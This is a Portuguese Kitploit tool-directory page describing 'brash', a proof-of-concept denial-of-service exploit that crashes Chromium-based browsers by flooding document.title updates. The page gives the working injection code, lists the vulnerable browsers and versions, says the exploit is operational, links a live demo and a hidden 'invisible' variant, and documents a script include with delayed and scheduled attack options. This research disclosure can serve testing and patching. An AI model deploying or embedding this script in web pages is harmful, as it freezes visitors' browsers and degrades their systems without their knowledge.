Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
brash — Ataque DoS no Navegador Chromium via Exploração de document.title | Kitploit
Ferramentas/GitHubGitHub/jofpin/brash
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploração de Aplicações WebTestes de Penetração
GitHubjofpin/brash

brash

Ataque DoS no Navegador Chromium via Exploração de document.title

Ver Repositório
180616há 11 mesesRevisado pelo Kitploit
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Brash

Brash by Jose Pino

Ataque DoS em Navegador Chromium via Exploração de document.title

Brash é uma vulnerabilidade crítica no Blink, o motor de renderização que alimenta os navegadores baseados em Chromium do Google. Ela permite que qualquer navegador Chromium colapse em 15-60 segundos ao explorar uma falha arquitetural na forma como certas operações do DOM são gerenciadas.

O vetor de ataque origina-se da ausência completa de limitação de taxa nas atualizações da API document.title. Isso permite injetar milhões de mutações no DOM por segundo e, durante essa tentativa de injeção, satura a thread principal, interrompendo o loop de eventos e causando o colapso da interface. O impacto é significativo: consome alto recurso de CPU, degrada o desempenho geral do sistema e pode interromper ou desacelerar outros processos em execução simultânea. Ao afetar navegadores Chromium em desktop, Android e ambientes incorporados, essa vulnerabilidade expõe mais de 3 bilhões de pessoas na internet a uma negação de serviço a nível de sistema.

STATUS: Operacional
VERSÕES AFETADAS: Chromium ≤ 143.0.7483.0 (testado: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] O exploit está atualmente operacional. Uma vez que a vulnerabilidade seja corrigida, este código deixará de funcionar. Independentemente disso, descobrir essa falha arquitetural e completar todo o processo de pesquisa, documentação e design para compartilhar algo impactante com o mundo tem sido uma jornada incrivelmente gratificante.

Testes

11 navegadores principais foram testados no macOS, Windows e Linux para validar o impacto da vulnerabilidade.

Vulneráveis (Chromium/Blink)

Todos os navegadores baseados em Chromium são vulneráveis porque a falha existe no núcleo do motor de renderização Blink:

  • Chrome — trava em 15-30 segundos
  • Edge — trava em 15-25 segundos
  • Vivaldi — trava em 15-30 segundos
  • Arc Browser — trava em 15-30 segundos
  • Dia Browser — trava em 15-30 segundos
  • Opera — trava em ~60 segundos
  • Perplexity Comet — trava em 15-35 segundos
  • ChatGPT Atlas — trava em 15-60 segundos
  • Brave — trava em 30-125 segundos

Não Vulneráveis (Usando Outros Motores)

  • Firefox (motor Gecko) — imune ao ataque
  • Safari (motor WebKit) — imune ao ataque
  • Navegadores iOS (todos usam WebKit) — imunes ao ataque devido à política mandatória da Apple que exige que todos os navegadores iOS usem WebKit como motor de renderização, tornando impossível a existência de navegadores baseados em Chromium no iOS

Como Funciona

Brash explora uma falha arquitetural fundamental no motor de renderização Blink: a ausência de limitação (throttling) nas atualizações de document.title. O ataque opera em três fases críticas:

1. Geração de Hash (Preparação)

Gera 100 strings hexadecimais únicas de 512 caracteres e as armazena na memória antes de iniciar o ataque.

Por que pré-carregá-las em vez de gerá-las em tempo real?

Porque gerar constantemente novas strings consome tempo de CPU em operações matemáticas. Esse tempo é crítico — cada milissegundo gasto gerando strings é tempo NÃO utilizado para bombardear o navegador com atualizações de document.title.

Ao ter 100 strings já carregadas na memória:

  • Ataque mais rápido: Sem pausas para gerar strings
  • CPU focada: 100% dos recursos dedicados a saturar o navegador
  • Menos pausas do sistema: Impede que o coletor de lixo seja ativado constantemente
  • Evita detecção: As 100 strings diferentes impedem que o navegador armazene em cache ou otimize as atualizações

Como resultado, alcançamos velocidade máxima de injeção com consumo máximo de memória por atualização.

// Gera IDs únicos de alta entropia
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Injeção em Rajadas (Ataque)

Executa rajadas configuráveis de atualizações de título. Com a configuração padrão (burst: 8000, interval: 1ms), tenta injetar aproximadamente 24 milhões de atualizações por segundo, e é durante essa tentativa que o colapso do navegador começa.

// Padrão de atualização tripla: maximiza o thrashing no pipeline de renderização
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Cada rajada executa 3 atualizações sequenciais
    }
    this.counter += 0x3;
}

3. Saturação da Thread da Interface (Colapso)

As atualizações contínuas saturam a thread principal do navegador, impedindo o processamento de outros eventos:

Linha do tempo do colapso:

  • 0-5s: Saturação inicial da thread da interface, consumo extremo de CPU
  • 5-10s: Aba completamente congelada, impossível de fechar
  • 10-15s: Colapso do navegador ou diálogo "Página não responde"
  • 15-60s: Encerramento forçado necessário (navegadores baseados em Chromium)

Por que funciona?

O Blink processa cada mudança de document.title de forma síncrona na thread principal, sem limitação de taxa. Isso cria um gargalo que:

  • Bloqueia o loop de eventos
  • Impede o processamento de entrada do usuário
  • Satura a memória com strings longas
  • Interrompe o compositor e o pipeline de renderização
  • Causa instabilidade no processo do navegador

Demonstração & PoC

Para entender completamente o impacto do Brash, você pode experimentar o exploit em diferentes contextos, desde uma demonstração ao vivo controlada até sua própria implementação. Cada opção é projetada para diferentes níveis de interação e entendimento técnico.

1. Demonstração Ao Vivo

A maneira mais rápida de ver o Brash em ação. Visite https://brash.run

Para ver o exploit sem interface gráfica, visite https://brash.run/hidden-live-demo.html. Esta versão executa a injeção de forma invisível, simulando um ataque real.

2. Demonstração Local

Se preferir executar a demonstração em seu próprio ambiente, o diretório exploit-demo/ incluído no repositório permite que você:

  • Controles para ajustar a intensidade do ataque em tempo real
  • Contador visual de atualizações por segundo
  • Três modos predefinidos: moderado, agressivo e extremo
  • Observação do colapso progressivo do navegador

Basta abrir exploit-demo/index.html em qualquer navegador Chromium e configurar os valores de burst e interval antes de iniciar.

  • burstSize: Mudanças de título por intervalo (maior = mais agressivo)
  • interval: Milissegundos entre rajadas (menor = mais agressivo)

3. Implemente Seu Próprio PoC

Para integrar o Brash em seus próprios testes de segurança ou pesquisa, inclua o script e configure o ataque:

Inclua o script:

<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Uso da API:

// 1. Ataque imediato
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Atraso em segundos (padrão)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 segundos
});

// 3. Atraso com strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // ou "5000ms" ou "3m"
});

// 4. Ataque programado
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Configurações de intensidade:

// Moderado: observação controlada
// Efeito: O navegador responde lentamente e permite observar a degradação gradual
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 atualizações/seg
});
Baixar ferramenta